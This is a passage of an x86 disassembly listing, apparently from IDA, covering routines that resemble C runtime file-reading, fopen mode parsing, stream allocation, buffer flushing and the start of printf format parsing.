		jnz	short loc_41F0F8
		mov	dword ptr [esi+18h], 1000h

loc_41F0F8:				; CODE XREF: sub_41F043+9Fj
					; sub_41F043+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41F106:				; CODE XREF: sub_41F043+55j
					; sub_41F043+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0

loc_41F117:				; CODE XREF: sub_41F043+Aj
					; sub_41F043+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F11C	proc near		; CODE XREF: sub_41B11A+90p
					; sub_41F043+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DC6C0
		jnb	loc_41F2F9
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DC5C0h[eax*4]
		mov	eax, dword_4DC5C0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41F2F9
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41F1D1
		test	dl, 2
		jnz	short loc_41F1D1
		test	dl, 48h
		jz	short loc_41F191
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41F191
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah

loc_41F191:				; CODE XREF: sub_41F11C+56j
					; sub_41F11C+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	short loc_41F1E4
		call	near ptr 267084Ch
		nop
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41F1CC
		mov	dword_4DB278, 9
		mov	dword_4DB27C, ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------

loc_41F1CC:				; CODE XREF: sub_41F11C+99j
		cmp	eax, 6Dh
		jnz	short loc_41F1D8

loc_41F1D1:				; CODE XREF: sub_41F11C+4Cj
					; sub_41F11C+51j
		xor	eax, eax
		jmp	loc_41F30D
; ---------------------------------------------------------------------------

loc_41F1D8:				; CODE XREF: sub_41F11C+B3j
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------

loc_41F1E4:				; CODE XREF: sub_41F11C+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41F2F4
		test	edx, edx
		jz	short loc_41F209
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41F209
		or	al, 4
		jmp	short loc_41F20B
; ---------------------------------------------------------------------------

loc_41F209:				; CODE XREF: sub_41F11C+E2j
					; sub_41F11C+E7j
		and	al, 0FBh

loc_41F20B:				; CODE XREF: sub_41F11C+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41F2EE

loc_41F223:				; CODE XREF: sub_41F11C+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41F2DE
		cmp	al, 0Dh
		jz	short loc_41F23F
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41F2D0
; ---------------------------------------------------------------------------

loc_41F23F:				; CODE XREF: sub_41F11C+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41F25D
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41F254
		add	[ebp+arg_8], 2
		jmp	short loc_41F2B2
; ---------------------------------------------------------------------------

loc_41F254:				; CODE XREF: sub_41F11C+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------

loc_41F25D:				; CODE XREF: sub_41F11C+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	short loc_41F285
		nop
		call	near ptr 267084Ch
		test	eax, eax
		jnz	short loc_41F2CC

loc_41F285:				; CODE XREF: sub_41F11C+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41F2CC
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41F2A7
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41F2B2
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------

loc_41F2A7:				; CODE XREF: sub_41F11C+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41F2B7
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41F2B7

loc_41F2B2:				; CODE XREF: sub_41F11C+136j
					; sub_41F11C+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41F2CF
; ---------------------------------------------------------------------------

loc_41F2B7:				; CODE XREF: sub_41F11C+18Ej
					; sub_41F11C+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_42272B
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41F2D0

loc_41F2CC:				; CODE XREF: sub_41F11C+167j
					; sub_41F11C+16Dj
		mov	byte ptr [edi],	0Dh

loc_41F2CF:				; CODE XREF: sub_41F11C+199j
		inc	edi

loc_41F2D0:				; CODE XREF: sub_41F11C+11Ej
					; sub_41F11C+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41F223
		jmp	short loc_41F2EE
; ---------------------------------------------------------------------------

loc_41F2DE:				; CODE XREF: sub_41F11C+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41F2EE
		or	al, 2
		mov	[esi], al

loc_41F2EE:				; CODE XREF: sub_41F11C+101j
					; sub_41F11C+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi

loc_41F2F4:				; CODE XREF: sub_41F11C+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41F30D
; ---------------------------------------------------------------------------

loc_41F2F9:				; CODE XREF: sub_41F11C+12j
					; sub_41F11C+39j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9

loc_41F30A:				; CODE XREF: sub_41F11C+ABj
					; sub_41F11C+C3j
		or	eax, 0FFFFFFFFh

loc_41F30D:				; CODE XREF: sub_41F11C+B7j
					; sub_41F11C+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F11C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F312	proc near		; CODE XREF: sub_41B202+126p
					; sub_41B202+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DB2F8
		test	eax, eax
		jz	short loc_41F32A
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41F32A
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41F32A:				; CODE XREF: sub_41F312+7j
					; sub_41F312+12j
		xor	eax, eax
		retn
sub_41F312	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F32D	proc near		; CODE XREF: sub_41B4A2+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DB464
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41F366
		cmp	al, 72h
		jz	short loc_41F35F
		cmp	al, 77h
		jnz	loc_41F47A
		mov	ecx, 301h
		jmp	short loc_41F36B
; ---------------------------------------------------------------------------

loc_41F35F:				; CODE XREF: sub_41F32D+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41F36E
; ---------------------------------------------------------------------------

loc_41F366:				; CODE XREF: sub_41F32D+1Dj
		mov	ecx, 109h

loc_41F36B:				; CODE XREF: sub_41F32D+30j
		or	esi, 2

loc_41F36E:				; CODE XREF: sub_41F32D+37j
		push	1
		pop	edx

loc_41F371:				; CODE XREF: sub_41F32D+8Bj
					; sub_41F32D+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41F460
		cmp	edx, ebx
		jz	loc_41F460
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41F3FF
		jz	short loc_41F3EF
		sub	eax, 2Bh
		jz	short loc_41F3D9
		sub	eax, 19h
		jz	short loc_41F3CF
		sub	eax, 0Eh
		jz	short loc_41F3BA
		dec	eax
		jnz	loc_41F451
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3BA:				; CODE XREF: sub_41F32D+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3CF:				; CODE XREF: sub_41F32D+6Aj
		test	cl, 40h
		jnz	short loc_41F451
		or	ecx, 40h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3D9:				; CODE XREF: sub_41F32D+65j
		test	cl, 2
		jnz	short loc_41F451
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3EF:				; CODE XREF: sub_41F32D+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41F451
		or	ecx, eax
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F3FF:				; CODE XREF: sub_41F32D+5Ej
		sub	eax, 62h
		jz	short loc_41F44C
		dec	eax
		jz	short loc_41F435
		sub	eax, 0Bh
		jz	short loc_41F41E
		sub	eax, 6
		jnz	short loc_41F451
		test	ch, 0C0h
		jnz	short loc_41F451
		or	ch, 40h
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F41E:				; CODE XREF: sub_41F32D+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F435:				; CODE XREF: sub_41F32D+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F44C:				; CODE XREF: sub_41F32D+D5j
		test	ch, 0C0h
		jz	short loc_41F458

loc_41F451:				; CODE XREF: sub_41F32D+72j
					; sub_41F32D+7Bj ...
		xor	edx, edx
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F458:				; CODE XREF: sub_41F32D+122j
		or	ch, 80h
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F460:				; CODE XREF: sub_41F32D+4Aj
					; sub_41F32D+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_423A33
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41F47E

loc_41F47A:				; CODE XREF: sub_41F32D+25j
		xor	eax, eax
		jmp	short loc_41F498
; ---------------------------------------------------------------------------

loc_41F47E:				; CODE XREF: sub_41F32D+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DB460
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx

loc_41F498:				; CODE XREF: sub_41F32D+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F32D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F49D	proc near		; CODE XREF: sub_41B4A2p
		mov	edx, dword_4DC5A0
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41F50E
		mov	ebx, dword_4DB598
		mov	edi, ebx

loc_41F4B9:				; CODE XREF: sub_41F49D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41F4D4
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41F4CF
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41F4B9
		jmp	short loc_41F50E
; ---------------------------------------------------------------------------

loc_41F4CF:				; CODE XREF: sub_41F49D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41F4F8
; ---------------------------------------------------------------------------

loc_41F4D4:				; CODE XREF: sub_41F49D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41B4D5
		pop	ecx
		mov	ecx, dword_4DB598
		mov	[edi+ecx], eax
		mov	eax, dword_4DB598
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41F50E
		mov	esi, edi

loc_41F4F8:				; CODE XREF: sub_41F49D+35j
		cmp	esi, ebp
		jz	short loc_41F50E
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp

loc_41F50E:				; CODE XREF: sub_41F49D+12j
					; sub_41F49D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F49D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F515	proc near		; CODE XREF: sub_41B6EE+17p
					; sub_41B6EE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41F533
		mov	ecx, off_43C2F8
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41F585
; ---------------------------------------------------------------------------

loc_41F533:				; CODE XREF: sub_41F515+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43C2F8
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41F558
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41F561
; ---------------------------------------------------------------------------

loc_41F558:				; CODE XREF: sub_41F515+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1

loc_41F561:				; CODE XREF: sub_41F515+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_423CEC
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F581
		leave
		retn
; ---------------------------------------------------------------------------

loc_41F581:				; CODE XREF: sub_41F515+68j
		movzx	eax, word ptr [ebp+arg_0+2]

loc_41F585:				; CODE XREF: sub_41F515+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41F515	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F58A	proc near		; CODE XREF: sub_41B886+46p
					; sub_41B980+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41F693
		test	al, 40h
		jnz	loc_41F693
		test	al, 1
		jz	short loc_41F5C2
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41F693
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax

loc_41F5C2:				; CODE XREF: sub_41F58A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F5FC
		cmp	esi, offset dword_43CA08
		jz	short loc_41F5EA
		cmp	esi, offset dword_43CA28
		jnz	short loc_41F5F5

loc_41F5EA:				; CODE XREF: sub_41F58A+56j
		push	ebx
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jnz	short loc_41F5FC

loc_41F5F5:				; CODE XREF: sub_41F58A+5Ej
		push	esi
		call	sub_4239EF
		pop	ecx

loc_41F5FC:				; CODE XREF: sub_41F58A+4Ej
					; sub_41F58A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41F669
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41F62C
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41F65F
; ---------------------------------------------------------------------------

loc_41F62C:				; CODE XREF: sub_41F58A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41F647
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41F64C
; ---------------------------------------------------------------------------

loc_41F647:				; CODE XREF: sub_41F58A+A5j
		mov	eax, offset dword_43C950

loc_41F64C:				; CODE XREF: sub_41F58A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41F65F
		push	2
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch

loc_41F65F:				; CODE XREF: sub_41F58A+A0j
					; sub_41F58A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41F67D
; ---------------------------------------------------------------------------

loc_41F669:				; CODE XREF: sub_41F58A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax

loc_41F67D:				; CODE XREF: sub_41F58A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41F689
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41F698
; ---------------------------------------------------------------------------

loc_41F689:				; CODE XREF: sub_41F58A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41F69B
; ---------------------------------------------------------------------------

loc_41F693:				; CODE XREF: sub_41F58A+10j
					; sub_41F58A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax

loc_41F698:				; CODE XREF: sub_41F58A+FDj
		or	eax, 0FFFFFFFFh

loc_41F69B:				; CODE XREF: sub_41F58A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F58A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F69F	proc near		; CODE XREF: sub_41B886+29p
					; sub_41B980+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41FDB8
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41F6D3
; ---------------------------------------------------------------------------

loc_41F6CB:				; CODE XREF: sub_41F69F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx

loc_41F6D3:				; CODE XREF: sub_41F69F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41FDB8
		cmp	bl, 20h
		jl	short loc_41F6F4
		cmp	bl, 78h
		jg	short loc_41F6F4
		movsx	eax, bl
		mov	al, [eax+42773Ch]
		and	eax, 0Fh
		jmp	short loc_41F6F6
; ---------------------------------------------------------------------------

loc_41F6F4:				; CODE XREF: sub_41F69F+40j
					; sub_41F69F+45j
		xor	eax, eax

loc_41F6F6:				; CODE XREF: sub_41F69F+53j
		movsx	eax, byte_42775C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41FDA7	; default
		jmp	off_41FDC0[eax*4] ; switch jump

loc_41F714:				; DATA XREF: ___:off_41FDC0o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F72F:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 2
		sub	eax, 20h
		jz	short loc_41F772
		sub	eax, 3
		jz	short loc_41F769
		sub	eax, 8
		jz	short loc_41F760
		dec	eax
		dec	eax
		jz	short loc_41F757
		sub	eax, 3
		jnz	loc_41FDA7	; default
		or	[ebp+var_4], 8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F757:				; CODE XREF: sub_41F69F+A4j
		or	[ebp+var_4], 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F760:				; CODE XREF: sub_41F69F+A0j
		or	[ebp+var_4], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F769:				; CODE XREF: sub_41F69F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F772:				; CODE XREF: sub_41F69F+96j
		or	[ebp+var_4], 2
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F77B:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 3
		jnz	short loc_41F7A3
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_4], 4
		neg	eax

loc_41F79B:				; CODE XREF: sub_41F69F+111j
		mov	[ebp+var_20], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7A3:				; CODE XREF: sub_41F69F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41F79B
; ---------------------------------------------------------------------------

loc_41F7B2:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	[ebp+var_10], edx ; jumptable 0041F70D case 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7BA:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 5
		jnz	short loc_41F7DD
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7DD:				; CODE XREF: sub_41F69F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7EF:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 49h		; jumptable 0041F70D case 6
		jz	short loc_41F822
		cmp	bl, 68h
		jz	short loc_41F819
		cmp	bl, 6Ch
		jz	short loc_41F810
		cmp	bl, 77h
		jnz	loc_41FDA7	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F810:				; CODE XREF: sub_41F69F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F819:				; CODE XREF: sub_41F69F+158j
		or	[ebp+var_4], 20h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F822:				; CODE XREF: sub_41F69F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41F83B
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41F83B
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F83B:				; CODE XREF: sub_41F69F+186j
					; sub_41F69F+18Cj
		mov	[ebp+var_30], edx

loc_41F83E:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	ecx, off_43C2F8	; jumptable 0041F70D case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41F86A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi

loc_41F86A:				; CODE XREF: sub_41F69F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F882:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 7
		cmp	eax, 67h
		jg	loc_41FAAA
		cmp	eax, 65h
		jge	loc_41F92D
		cmp	eax, 58h
		jg	loc_41F98B
		jz	loc_41FB1E
		sub	eax, 43h
		jz	loc_41F94E
		dec	eax
		dec	eax
		jz	short loc_41F923
		dec	eax
		dec	eax
		jz	short loc_41F923
		sub	eax, 0Ch
		jnz	loc_41FCA9
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F8CC
		or	byte ptr [ebp+var_4+1],	8

loc_41F8CC:				; CODE XREF: sub_41F69F+227j
					; sub_41F69F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F8D9
		mov	esi, 7FFFFFFFh

loc_41F8D9:				; CODE XREF: sub_41F69F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41FAF2
		test	ecx, ecx
		jnz	short loc_41F901
		mov	ecx, off_43C514
		mov	[ebp+var_8], ecx

loc_41F901:				; CODE XREF: sub_41F69F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx

loc_41F90A:				; CODE XREF: sub_41F69F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41FAE9
		cmp	word ptr [eax],	0
		jz	loc_41FAE9
		inc	eax
		inc	eax
		jmp	short loc_41F90A
; ---------------------------------------------------------------------------

loc_41F923:				; CODE XREF: sub_41F69F+212j
					; sub_41F69F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h

loc_41F92D:				; CODE XREF: sub_41F69F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
